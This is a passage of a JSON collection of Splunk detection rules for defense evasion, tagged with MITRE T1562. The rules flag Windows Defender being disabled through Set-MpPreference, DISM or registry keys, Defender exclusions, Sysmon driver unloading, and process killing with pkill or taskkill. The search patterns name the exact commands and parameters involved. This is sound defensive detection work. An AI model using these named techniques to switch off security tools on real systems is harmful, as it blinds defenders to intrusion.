Registry Abuse", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "registry_value_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious registry modification ($registry_value_name$) which is used go hide a user account on the Windows Login screen detected on $dest$ executed by $user$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Impair Defenses Process Kill", - "description": "The following analytic identifies the execution of the 'pkill' command, which is used to terminate processes on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because threat actors often use 'pkill' to disable security defenses or terminate critical processes, facilitating further malicious actions. If confirmed malicious, this behavior could lead to the disruption of security applications, enabling attackers to evade detection and potentially corrupt or destroy files on the targeted system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN ( \"pgrep\", \"pkill\") Processes.process = \"*pkill *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_impair_defenses_process_kill_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ tries to execute pkill commandline to terminate process in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Powershell Disable Security Monitoring", - "description": "The following analytic identifies attempts to disable Windows Defender real-time behavior monitoring via PowerShell commands. It detects the use of specific `Set-MpPreference` parameters that disable various security features. This activity is significant as it is commonly used by malware such as RATs, bots, or Trojans to evade detection by disabling antivirus protections. If confirmed malicious, this action could allow an attacker to operate undetected, leading to potential data exfiltration, further system compromise, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=\"*set-mppreference*\" AND Processes.process IN (\"*disablerealtimemonitoring*\",\"*disableioavprotection*\",\"*disableintrusionpreventionsystem*\",\"*disablescriptscanning*\",\"*disableblockatfirstseen*\",\"*DisableBehaviorMonitoring*\",\"*drtm *\",\"*dioavp *\",\"*dscrptsc *\",\"*dbaf *\",\"*dbm *\") by Processes.dest Processes.user Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_disable_security_monitoring_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Real-time Behavior Monitoring disabled on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Powershell Remove Windows Defender Directory", - "description": "The following analytic detects a suspicious PowerShell command attempting to delete the Windows Defender directory. It leverages PowerShell Script Block Logging to identify commands containing \"rmdir\" and targeting the Windows Defender path. This activity is significant as it may indicate an attempt to disable or corrupt Windows Defender, a key security component. If confirmed malicious, this action could allow an attacker to bypass endpoint protection, facilitating further malicious activities without detection.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*rmdir *\" AND ScriptBlockText = \"*\\\\Microsoft\\\\Windows Defender*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_remove_windows_defender_directory_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious powershell script $ScriptBlockText$ was executed on the $Computer$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Powershell Windows Defender Exclusion Commands", - "description": "The following analytic detects the use of PowerShell commands to add or set Windows Defender exclusions. It leverages EventCode 4104 to identify suspicious `Add-MpPreference` or `Set-MpPreference` commands with exclusion parameters. This activity is significant because adversaries often use it to bypass Windows Defender, allowing malicious code to execute without detection. If confirmed malicious, this behavior could enable attackers to evade antivirus defenses, maintain persistence, and execute further malicious activities undetected.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Add-MpPreference *\" OR ScriptBlockText = \"*Set-MpPreference *\") AND ScriptBlockText = \"*-exclusion*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_windows_defender_exclusion_commands_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CISA AA22-320A", - "Data Destruction", - "Remcos", - "Warzone RAT", - "WhisperGate", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "exclusion command $ScriptBlockText$ executed on $Computer$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Process Kill Base On File Path", - "description": "The following analytic detects the use of `wmic.exe` with the `delete` command to remove an executable path. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because it often indicates the initial stages of an adversary setting up malicious activities, such as cryptocurrency mining, on an endpoint. If confirmed malicious, this behavior could allow an attacker to disable security tools or other critical processes, facilitating further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` AND Processes.process=\"*process*\" AND Processes.process=\"*executablepath*\" AND Processes.process=\"*delete*\" by Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `process_kill_base_on_file_path_filter`", - "tags": { - "analytic_story": [ - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ attempt to kill process by its file path using commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Unload Sysmon Filter Driver", - "description": "The following analytic detects the use of `fltMC.exe` to unload the Sysmon driver, which stops Sysmon from collecting data. It leverages Endpoint Detection and Response (EDR) logs, focusing on process names and command-line executions. This activity is significant because disabling Sysmon can blind security monitoring, allowing malicious actions to go undetected. If confirmed malicious, this could enable attackers to execute further attacks without being logged, leading to potential data breaches, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=fltMC.exe AND Processes.process=*unload* AND Processes.process=*SysmonDrv* by Processes.process_name Processes.process_id Processes.parent_process_name Processes.process Processes.dest Processes.user | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | table firstTime lastTime dest user count process_name process_id parent_process_name process | `unload_sysmon_filter_driver_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Disabling Security Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Sysmon filter driver unloading on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows AD Domain Controller Audit Policy Disabled", - "description": "The following analytic detects the disabling of audit policies on a domain controller. It leverages EventCode 4719 from Windows Security Event Logs to identify changes where success or failure auditing is removed. This activity is significant as it suggests an attacker may have gained access to the domain controller and is attempting to evade detection by tampering with audit policies. If confirmed malicious, this could lead to severe consequences, including data theft, privilege escalation, and full network compromise. Immediate investigation is required to determine the source and intent of the change.", - "search": "`wineventlog_security` EventCode=4719 (AuditPolicyChanges IN (\"%%8448\",\"%%8450\",\"%%8448, %%8450\") OR Changes IN (\"Failure removed\",\"Success removed\",\"Success removed, Failure removed\")) dest_category=\"domain_controller\"| replace \"%%8448\" with \"Success removed\", \"%%8450\" with \"Failure removed\", \"%%8448, %%8450\" with \"Success removed, Failure removed\" in AuditPolicyChanges | eval AuditPolicyChanges=coalesce(AuditPolicyChanges,Changes), SubcategoryGuid=coalesce(SubcategoryGuid,Subcategory_GUID) | stats min(_time) as _time values(host) as dest by AuditPolicyChanges SubcategoryGuid | lookup advanced_audit_policy_guids GUID as SubcategoryGuid OUTPUT Category SubCategory | `windows_ad_domain_controller_audit_policy_disabled_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "GPO $SubCategory$ of $Category$ was disabled on $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Defender Exclusion Registry Entry", - "description": "The following analytic detects modifications to the Windows Defender exclusion registry entries. It leverages endpoint registry data to identify changes in the registry path \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\*\". This activity is significant because adversaries often modify these entries to bypass Windows Defender, allowing malicious code to execute without detection. If confirmed malicious, this behavior could enable attackers to evade antivirus defenses, maintain persistence, and execute further malicious activities undetected.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\*\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_defender_exclusion_registry_entry_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Qakbot", - "Remcos", - "Warzone RAT", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Exclusion registry $registry_path$ modified or added on $dest$ for Windows Defender", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Disable or Modify Tools Via Taskkill", - "description": "The following analytic identifies the use of taskkill.exe to forcibly terminate processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific taskkill parameters. This activity is significant because it can indicate attempts to disable security tools or disrupt legitimate applications, a common tactic in malware operations. If confirmed malicious, this behavior could allow attackers to evade detection, disrupt system stability, and potentially gain further control over the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"taskkill.exe\" Processes.process IN (\"* /f*\", \"* /t*\") Processes.process IN (\"* /im*\", \"* /pid*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_or_modify_tools_via_taskkill_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process", - "Attacker" - ] - } - ], - "message": "A taskkill process to terminate process is executed on host- $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows DisableAntiSpyware Registry", - "description": "The following analytic detects the modification of the Windows Registry key \"DisableAntiSpyware\" being set to disable. This detection leverages data from the Endpoint.Registry datamodel, specifically looking for the registry value name \"DisableAntiSpyware\" with a value of \"0x00000001\". This activity is significant as it is commonly associated with Ryuk ransomware infections, indicating potential malicious intent to disable Windows Defender. If confirmed malicious, this action could allow attackers to disable critical security defenses, facilitating further malicious activities such as data encryption, exfiltration, or additional system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_value_name=\"DisableAntiSpyware\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_disableantispyware_registry_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA22-264A", - "CISA AA23-347A", - "RedLine Stealer", - "Ryuk Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows DisableAntiSpyware registry key set to 'disabled' on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows DISM Remove Defender", - "description": "The following analytic detects the use of `dism.exe` to remove Windows Defender. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific parameters for disabling and removing Windows Defender. This activity is significant because adversaries may disable Defender to evade detection and carry out further malicious actions undetected. If confirmed malicious, this could lead to the attacker gaining persistent access, executing additional payloads, or exfiltrating sensitive data without being intercepted by Windows Defender.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=dism.exe (Processes.process=\"*/online*\" AND Processes.process=\"*/disable-feature*\" AND Processes.process=\"*Windows-Defender*\" AND Processes.process=\"*/remove*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dism_remove_defender_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to disable Windows Defender.", - "risk_score": 80, - "security_domain": "access", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Event For Service Disabled", - "description": "The following analytic detects when a Windows service is modified from a start type to disabled. It leverages system event logs, specifically EventCode 7040, to identify this change. This activity is significant because adversaries often disable security or other critical services to evade detection and maintain control over a compromised host. If confirmed malicious, this action could allow attackers to bypass security defenses, leading to further exploitation and persistence within the environment.", - "search": "`wineventlog_system` EventCode=7040 EventData_Xml=\"*disabled*\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode Name UserID service ServiceName | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_event_for_service_disabled_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Service $ServiceName$ was disabled on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Excessive Disabled Services Event", - "description": "The following analytic identifies an excessive number of system events where services are modified from start to disabled. It leverages Windows Event Logs (EventCode 7040) to detect multiple service state changes on a single host. This activity is significant as it may indicate an adversary attempting to disable security applications or other critical services, potentially leading to defense evasion or destructive actions. If confirmed malicious, this behavior could allow attackers to disable security defenses, disrupt system operations, and achieve their objectives on the compromised system.", - "search": "`wineventlog_system` EventCode=7040 \"disabled\" | stats count values(EventData_Xml) as MessageList dc(EventData_Xml) as MessageCount min(_time) as firstTime max(_time) as lastTime by Computer EventCode UserID | rename Computer as dest | where count >=10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_excessive_disabled_services_event_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An excessive number (Count - $MessageCount$) of Windows services were disabled on dest - $dest$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Add Xml Applocker Rules", - "description": "The following analytic detects the use of a PowerShell commandlet to import an AppLocker XML policy. This behavior is identified by monitoring processes that execute the \"Import-Module Applocker\" and \"Set-AppLockerPolicy\" commands with the \"-XMLPolicy\" parameter. This activity is significant because it can indicate an attempt to disable or bypass security controls, as seen in the Azorult malware. If confirmed malicious, this could allow an attacker to disable antivirus products, leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` AND 